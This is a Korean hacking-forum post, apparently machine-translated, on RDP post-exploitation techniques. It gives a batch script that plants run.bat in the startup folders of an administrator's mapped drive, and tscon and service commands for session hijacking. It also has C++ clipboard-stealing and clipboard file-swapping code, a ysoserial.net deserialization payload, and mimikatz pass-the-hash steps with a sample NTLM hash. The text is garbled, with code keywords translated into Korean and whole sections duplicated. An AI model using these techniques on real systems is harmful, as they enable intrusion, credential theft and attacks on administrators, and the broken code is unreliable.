KoreanHackerTeam
Moderator
최근에, 프로젝트의 관리자는 RDP가 장착 된 후 관리자를 제거했으며, 시간이 있다면 RDP의 사용 방법을 정리할 것이라고 생각했습니다.
: 교수형 디스크 사용에 따라 파일 복사는 그리 많지 않습니다. 다른 교수형 디스크에 따라 파일을 드래그할지 또는 시작 항목을 떨어 뜨릴지 결정할 수 있습니다. 다음과 같은 파일을 자동으로 모니터링하고 복사하는 일부 응용 프로그램이 있습니다. 도구가 백그라운드에서 실행될 때 교수형 디스크에서 파일 목록을 자동으로 얻고 지정된 파일을 다운로드하고 트로이 목마 파일을 마운트 하드 디스크의 시작 항목에 복사 할 수 있습니다.
@echo
Windows 업데이트 .
@echo
시간 초과 1 NUL 21
mkdir \\ tsclient \ c \ temp nul 21
mkdir c: \ temp nul 21
run.bat c: \ temp nul 21을 복사하십시오
run.bat \\ tsclient \ c \ temp nul 21을 복사하십시오
del /q %temp %\ temp_00.txt nul 21
dirs=dir /a:d /b /s c: \ users \*startup*
set dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*
echo |%dirs%| findstr /i 'Microsoft \ Windows \ 시작 메뉴 \ 프로그램 \ startup' '%temp%\ temp_00.txt'
echo |%dirs2%| findstr /i 'microsoft \ wind
for /f 'tokens=*'%% a in (%temp%\ temp_00.txt) do (
RUN.BAT '%% A'NUL 21을 복사하십시오
C: \ temp \ run.bat '%% a'nul 21을 복사하십시오
\\ tsclient \ c \ temp \ run.bat '%% a'nul 21을 복사하십시오
))
del /q %temp %\ temp_00.txt nul 21
rem if 'windomain'='%user 도메인%'(cmd.exe /c calc.exe)
이 기술은 주로 Win7 이상의 환경을 목표로합니다. 전체 애플리케이션 시나리오는 다음과 같습니다. Windows 2012 이상이 기본적으로 일반 텍스트를 저장하지 않으면 대상 호스트로 전환 할 수 있거나 도메인의 현재 사용자가 로컬 사용자 인 경우 도메인 사용자 권한으로 전환 할 수 있습니다.
먼저 PSEXEC를 사용하여 시스템을 언급하십시오. (여기서는 시스템 서비스를 수동으로 생성하여 구현할 수 있습니다.) Shift/Utilman Backdoor를 사용하여 비밀번호없이 데스크탑에 로그인 할 수도 있습니다.
C: \ Windows \ System32Quser
사용자 이름 세션 이름 ID 상태 유휴 시간 로그인 시간
관리자 RDP-TCP#1 1이 실행 중입니다. 2020/12/14 11:14
테스트 RDP-TCP#0 2 실행 1:02 2020/12/14 13:04
C: \ Windows \ System32Tscon 2 RDP-TCP#1
Sc 생성 sesshijack binpath='cmd.exe /k tscon 2 /dest3:RDP-TCP#1'
Net Start Sesshijack
TS:SESSIONS
Toekn3:33600elevate
TS:3360remote /ID:2
의 COM 납치 교대 백도어
나는 ATTCK에서 저작권을 사용하여 사본의 텍스트 내용을 얻는 많은 공개 된 방법을 보았으며 https://research.checkpoint.com/2019/Rece RdpClip.exe에 주어진 아이디어도 있습니다.
#Include Exception
#INSTREAM을 포함하십시오
#Ostream을 포함하십시오
#stdexcrect를 포함하십시오
#include string
#include windows.h
#fstream을 포함하십시오
네임 스페이스 STD 사용;
클래스 Raiiclipboard
{
Public:
raiiclipboard ()
{
if (! openclipboard (null))
runtime_error를 던지십시오 ( '클립 보드를 열 수 없음');
//. 또는 클립 보드 오류에 대한 사용자 정의 예외 클래스를 정의하십시오.
}
~ raiiclipboard ()
{
CloseClipboard ();
}
//사본을 금지합니다
private:
Raiiclipboard (const raiiclipboard);
Raiiclipboard 연산자=(const raiiclipboard);
};
클래스 RaiitextGloballock
{
Public:
명시 적 RaiitextGloballock (핸들 hdata)
: M_HDATA (HDATA)
{
m_psz=static_castconst char*(Globallock (m_hdata));
if (! m_psz)
runtime_error를 던지십시오 ( '클립 보드 텍스트에서 잠금을 얻을 수 없습니다.');
}
~ RaiitextGloballock ()
{
GlobalUnlock (m_hdata);
}
const char* get () const
{
반환 m_psz;
}
private:
m_hdata를 처리하십시오.
const char* m_psz;
//사본을 금지합니다
RaiitextGloballock (Const RaiitextGloballock);
RaiitextGloballock 연산자=(Const RaiitextGloballock);
};
문자열 getClipboardText ()
{
Raiiclipboard 클립 보드;
hdata hdata=getClipboardData (cf_text);
if (hdata==null) {
반품 '';
//Throw Runtime_error ( '클립 보드 텍스트를 얻을 수 없습니다.');
}
RaiitextGloballock TextGloballock (HDATA);
문자열 텍스트 (TextGloballock.get ());
리턴 텍스트;
}
void savedata (문자열 데이터) {
ofstream out ( 'info.txt', iOS:App);
if (out.is_open ())
{
데이터 + '\ n';
out '-------------------------- \ n';
out.close ();
}
}
int main ()
{
정적 const int kexitok=0;
정적 const int kexiterror=1;
문자열 data1='';
문자열 data2='';
노력하다
{
while (true) {
data2=getClipboardText ();
if (data1!=data2) {
cout data2 endl;
savedata (data2);
}
또 다른 {
Cout '클립 연기를 기다리고 있습니다 .'Endl;
수면 (300000);
}
data1=data2;
수면 (10000);
}
Kexitok 반환;
}
캐치 (const Exception e)
{
CERR '*** ERROR:'E.HAT () ENDL;
kexiterror를 반환합니다.
}
}
Cheesy Rumbles 기사에 따르면. Get-ClipboardContents.ps1을 사용하여 클립 보드 컨텐츠를 얻을 수 있으며 여러 RDP 인터페이스에서 얻을 수 있습니다.
3924 888 rdpclip.exe x64 3 dmz2 \ rasta
3924 X64 SMB를 주입하십시오
PowerShell-Import D: \ Tools \ Get-ClipboardContents.ps1
PowerShell Get-ClipboardContents -PollInterval 1
1. Hook GetClipboardData 함수 및 DragQueryFilew 함수는 유사합니다. 디버깅 이틀 후, 나는 마침내 모든 형제들의 도움으로 그것을 발견했습니다.
2. 나중에 이전 섹션에서 클립 보드 내용을 가져올 수 있다고 생각하여 복사 한 파일을 수정할 수있었습니다.
Detours Library를 사용하여 GetClipboardData 함수 및 DragQueryFileW 기능을 연결하고 파일 데이터 및 경로를 추가하여 최종 효과를 달성하십시오.
#include windows.h
#include shlobj.h
int copyfiletoclipboard (char szfilename []);
int main ()
{
CopyFileToclipboard ( 'C: \\ Windows \\ System32 \\ Cmd.exe');
반환 0;
}
int copyfiletoclipboard (char szfilename [])
{
Uint udropeffect;
hglobal hgbleffect;
lpdword lpddropeffect;
드롭 파일 stdrop;
hglobal hgblfiles;
LPSTR LPDATA;
udropeffect=registerClipboardformat ( 'preferred dropeffect');
hgbleffect=globalAlloc (gmem_zeroinit | gmem_movable | gmem_ddeshare, sizeof (dword));
lpddropeffect=(lpdword) globallock (hgbleffect);
*lpddropeffect=dropeffect_copy; //copy; 스크래핑 및 붙여 넣기에 Dropeffect_move를 사용하십시오
GlobalUnlock (hgbleffect);
stdrop.pfiles=sizeof (dropfiles);
stdrop.pt.x=0;
stdrop.pt.y=0;
stdrop.fnc=false;
stdrop.fwide=false;
hgblfiles=globalalloc (gmem_zeroinit | gmem_movable | gmem_ddeshare, sizeof (dropfiles) + strlen (szfilename) + 2);
lpdata=(lpstr) globallock (hgblfiles);
memcpy (lpdata, stdrop, sizeof (dropfiles));
strcpy (lpdata + sizeof (dropfiles), szfilename);
GlobalUnlock (hgblfiles);
OpenClipboard (null);
emptyClipboard ();
setClipboardData (cf_hdrop, hgblfiles);
setClipboardData (udropeffect, hgbleffect);
CloseClipboard ();
반환 1;
} 이런 식으로 관리자가 서버에서 파일을 복사하여 시스템으로 다운로드하면 파일이 CMD.exe로 대체됩니다.
`https://github.com/pwntester/ysoserial.net`를 사용하십시오
활용 프로세스는 클립 보드를 붙여 넣을 때 직렬화 된 코드로 바꾸는 것입니다. 일부 애플리케이션이 붙여질 때 사제화 작업이 트리거됩니다. 또한 대상 .NET 응용 프로그램이 더 높은 권한으로 실행되면 권한 프로모션으로도 사용할 수도 있습니다. (현재 사용자는 UAC 계정 비밀번호가 없지만 관리자는 UAC 전에 .NET 응용 프로그램을 열었습니다.) ysoserial.exe -p clipboard -c calc -f system.string
테스트 된 프로그램 :
PowerShell ISE
대
그리기 도구
TextBox, PasswordBox 또는 RichTextBox를 사용하는 모든 WPF 응용 프로그램도 영향을받습니다.
제한된 관리자 모드를 켭니다
reg add 'hklm \ system \ currentControlset \ Control \ lsa' /v disablerestrictedAdmin /t reg_dword /d 000000000 /f가 활성화 된 경우, 사용 : mstsc.exe /simplessedadmin 로그인, 현재 사용자의 해시는 확인에 사용됩니다.
권한 3:debug
sekurlsa
th /user:fbiwarning /domain:172.16.142.136 /ntlm:44f9ea6a7743a8ea6f1956384c39887b '/run:mstsc.exe /restrictedadmin'


RDPInception
이 방법은 상대적으로 쓸모가 없습니다. 원칙은 BAT 스크립트를 사용하여 서버 시작 항목/WinLogon 실행 스크립트에 넣고 관리자가 디스크를 끊고 실행 명령을 다시 시작할 때까지 기다리는 것입니다.@echo
Windows 업데이트 .
@echo
시간 초과 1 NUL 21
mkdir \\ tsclient \ c \ temp nul 21
mkdir c: \ temp nul 21
run.bat c: \ temp nul 21을 복사하십시오
run.bat \\ tsclient \ c \ temp nul 21을 복사하십시오
del /q %temp %\ temp_00.txt nul 21
dirs=dir /a:d /b /s c: \ users \*startup*
set dirs2=dir /a:d /b /s \\ tsclient \ c \ users \*startup*
echo |%dirs%| findstr /i 'Microsoft \ Windows \ 시작 메뉴 \ 프로그램 \ startup' '%temp%\ temp_00.txt'
echo |%dirs2%| findstr /i 'microsoft \ wind
for /f 'tokens=*'%% a in (%temp%\ temp_00.txt) do (
RUN.BAT '%% A'NUL 21을 복사하십시오
C: \ temp \ run.bat '%% a'nul 21을 복사하십시오
\\ tsclient \ c \ temp \ run.bat '%% a'nul 21을 복사하십시오
))
del /q %temp %\ temp_00.txt nul 21
rem if 'windomain'='%user 도메인%'(cmd.exe /c calc.exe)
RDP Session Hijacking
실제 명령은 TSCON이며, 이는 비밀번호를 통해 다른 세션으로 전환하는 것이 일반적입니다. 그러나 시스템에서는 비밀번호를 사용하지 않고 다른 사용자 세션을 전환 할 수 있습니다. 세션을 다른 세션으로 전환하십시오.이 기술은 주로 Win7 이상의 환경을 목표로합니다. 전체 애플리케이션 시나리오는 다음과 같습니다. Windows 2012 이상이 기본적으로 일반 텍스트를 저장하지 않으면 대상 호스트로 전환 할 수 있거나 도메인의 현재 사용자가 로컬 사용자 인 경우 도메인 사용자 권한으로 전환 할 수 있습니다.
먼저 PSEXEC를 사용하여 시스템을 언급하십시오. (여기서는 시스템 서비스를 수동으로 생성하여 구현할 수 있습니다.) Shift/Utilman Backdoor를 사용하여 비밀번호없이 데스크탑에 로그인 할 수도 있습니다.
1、psexec

C: \ Windows \ System32Quser
사용자 이름 세션 이름 ID 상태 유휴 시간 로그인 시간
관리자 RDP-TCP#1 1이 실행 중입니다. 2020/12/14 11:14
테스트 RDP-TCP#0 2 실행 1:02 2020/12/14 13:04
C: \ Windows \ System32Tscon 2 RDP-TCP#1

2、服务项
QuserSc 생성 sesshijack binpath='cmd.exe /k tscon 2 /dest3:RDP-TCP#1'
Net Start Sesshijack


3、mimikatz
권한 3:debugTS:SESSIONS
Toekn3:33600elevate
TS:3360remote /ID:2


4、shift无密码劫持
WebShell


rdpclip.exe利用
RDP 서비스는 텍스트와 파일을 복사하여 붙여 넣을 수 있습니다. 주로이 rdpclip.exe 프로세스를 통해 구현됩니다. 복사시 특정 작업을 알고 싶다면 Clipspy를 사용하여 클립 보드의 변경 사항을 볼 수 있습니다.나는 ATTCK에서 저작권을 사용하여 사본의 텍스트 내용을 얻는 많은 공개 된 방법을 보았으며 https://research.checkpoint.com/2019/Rece RdpClip.exe에 주어진 아이디어도 있습니다.
1、剪切板监控
10 초마다 클립 보드 내용을 읽고 로컬로 저장하십시오.#Include Exception
#INSTREAM을 포함하십시오
#Ostream을 포함하십시오
#stdexcrect를 포함하십시오
#include string
#include windows.h
#fstream을 포함하십시오
네임 스페이스 STD 사용;
클래스 Raiiclipboard
{
Public:
raiiclipboard ()
{
if (! openclipboard (null))
runtime_error를 던지십시오 ( '클립 보드를 열 수 없음');
//. 또는 클립 보드 오류에 대한 사용자 정의 예외 클래스를 정의하십시오.
}
~ raiiclipboard ()
{
CloseClipboard ();
}
//사본을 금지합니다
private:
Raiiclipboard (const raiiclipboard);
Raiiclipboard 연산자=(const raiiclipboard);
};
클래스 RaiitextGloballock
{
Public:
명시 적 RaiitextGloballock (핸들 hdata)
: M_HDATA (HDATA)
{
m_psz=static_castconst char*(Globallock (m_hdata));
if (! m_psz)
runtime_error를 던지십시오 ( '클립 보드 텍스트에서 잠금을 얻을 수 없습니다.');
}
~ RaiitextGloballock ()
{
GlobalUnlock (m_hdata);
}
const char* get () const
{
반환 m_psz;
}
private:
m_hdata를 처리하십시오.
const char* m_psz;
//사본을 금지합니다
RaiitextGloballock (Const RaiitextGloballock);
RaiitextGloballock 연산자=(Const RaiitextGloballock);
};
문자열 getClipboardText ()
{
Raiiclipboard 클립 보드;
hdata hdata=getClipboardData (cf_text);
if (hdata==null) {
반품 '';
//Throw Runtime_error ( '클립 보드 텍스트를 얻을 수 없습니다.');
}
RaiitextGloballock TextGloballock (HDATA);
문자열 텍스트 (TextGloballock.get ());
리턴 텍스트;
}
void savedata (문자열 데이터) {
ofstream out ( 'info.txt', iOS:App);
if (out.is_open ())
{
데이터 + '\ n';
out '-------------------------- \ n';
out.close ();
}
}
int main ()
{
정적 const int kexitok=0;
정적 const int kexiterror=1;
문자열 data1='';
문자열 data2='';
노력하다
{
while (true) {
data2=getClipboardText ();
if (data1!=data2) {
cout data2 endl;
savedata (data2);
}
또 다른 {
Cout '클립 연기를 기다리고 있습니다 .'Endl;
수면 (300000);
}
data1=data2;
수면 (10000);
}
Kexitok 반환;
}
캐치 (const Exception e)
{
CERR '*** ERROR:'E.HAT () ENDL;
kexiterror를 반환합니다.
}
}

Cheesy Rumbles 기사에 따르면. Get-ClipboardContents.ps1을 사용하여 클립 보드 컨텐츠를 얻을 수 있으며 여러 RDP 인터페이스에서 얻을 수 있습니다.
3924 888 rdpclip.exe x64 3 dmz2 \ rasta
3924 X64 SMB를 주입하십시오
PowerShell-Import D: \ Tools \ Get-ClipboardContents.ps1
PowerShell Get-ClipboardContents -PollInterval 1

2、反打rdp
디스크를 걸지 않고 반대로 관리자에게 파일을 전송하는 방법은 무엇입니까? 온라인에서 두 가지 방법을 찾았습니다.1. Hook GetClipboardData 함수 및 DragQueryFilew 함수는 유사합니다. 디버깅 이틀 후, 나는 마침내 모든 형제들의 도움으로 그것을 발견했습니다.
2. 나중에 이전 섹션에서 클립 보드 내용을 가져올 수 있다고 생각하여 복사 한 파일을 수정할 수있었습니다.
CVE-2019-0887
Li Yongde는 종이와 동일한 아이디어를 가지고 있습니다. WCSRCHR (SZFILE, '\')은 주소를받는 데 사용되므로 Microsoft도 ./이런 종류의 경로도 지원합니다. 취약성의 이유는 Winrar Path의 이유와 유사합니다.Detours Library를 사용하여 GetClipboardData 함수 및 DragQueryFileW 기능을 연결하고 파일 데이터 및 경로를 추가하여 최종 효과를 달성하십시오.

替换剪切板文件
#INCLUDE iOStream#include windows.h
#include shlobj.h
int copyfiletoclipboard (char szfilename []);
int main ()
{
CopyFileToclipboard ( 'C: \\ Windows \\ System32 \\ Cmd.exe');
반환 0;
}
int copyfiletoclipboard (char szfilename [])
{
Uint udropeffect;
hglobal hgbleffect;
lpdword lpddropeffect;
드롭 파일 stdrop;
hglobal hgblfiles;
LPSTR LPDATA;
udropeffect=registerClipboardformat ( 'preferred dropeffect');
hgbleffect=globalAlloc (gmem_zeroinit | gmem_movable | gmem_ddeshare, sizeof (dword));
lpddropeffect=(lpdword) globallock (hgbleffect);
*lpddropeffect=dropeffect_copy; //copy; 스크래핑 및 붙여 넣기에 Dropeffect_move를 사용하십시오
GlobalUnlock (hgbleffect);
stdrop.pfiles=sizeof (dropfiles);
stdrop.pt.x=0;
stdrop.pt.y=0;
stdrop.fnc=false;
stdrop.fwide=false;
hgblfiles=globalalloc (gmem_zeroinit | gmem_movable | gmem_ddeshare, sizeof (dropfiles) + strlen (szfilename) + 2);
lpdata=(lpstr) globallock (hgblfiles);
memcpy (lpdata, stdrop, sizeof (dropfiles));
strcpy (lpdata + sizeof (dropfiles), szfilename);
GlobalUnlock (hgblfiles);
OpenClipboard (null);
emptyClipboard ();
setClipboardData (cf_hdrop, hgblfiles);
setClipboardData (udropeffect, hgbleffect);
CloseClipboard ();
반환 1;
} 이런 식으로 관리자가 서버에서 파일을 복사하여 시스템으로 다운로드하면 파일이 CMD.exe로 대체됩니다.

.NET 反序列化
`https://www.nccgroup.com/uk/about-us/newsroom and-events/blogs/2018/12 월/deserialisation-in-.net-methods and classes-code-execution-via-paste/`에 소개 된 아이디어를 참조하십시오. (나는 이런 길을 예상하지 못한다)`https://github.com/pwntester/ysoserial.net`를 사용하십시오
활용 프로세스는 클립 보드를 붙여 넣을 때 직렬화 된 코드로 바꾸는 것입니다. 일부 애플리케이션이 붙여질 때 사제화 작업이 트리거됩니다. 또한 대상 .NET 응용 프로그램이 더 높은 권한으로 실행되면 권한 프로모션으로도 사용할 수도 있습니다. (현재 사용자는 UAC 계정 비밀번호가 없지만 관리자는 UAC 전에 .NET 응용 프로그램을 열었습니다.) ysoserial.exe -p clipboard -c calc -f system.string

테스트 된 프로그램 :
PowerShell ISE
대
그리기 도구
TextBox, PasswordBox 또는 RichTextBox를 사용하는 모든 WPF 응용 프로그램도 영향을받습니다.
RDP pth
사용자 해시 로그인 WindowsMstsc
서버를 활성화해야합니다. 동시에 Win 7 및 Windows Server 2008 R이 설치되면 2871997 및 2973351 패치도 지원됩니다. 클라이언트는 제한된 관리자 모드를 지원해야합니다제한된 관리자 모드를 켭니다
reg add 'hklm \ system \ currentControlset \ Control \ lsa' /v disablerestrictedAdmin /t reg_dword /d 000000000 /f가 활성화 된 경우, 사용 : mstsc.exe /simplessedadmin 로그인, 현재 사용자의 해시는 확인에 사용됩니다.
Mimikatz
Mimikatz.exe권한 3:debug
sekurlsa
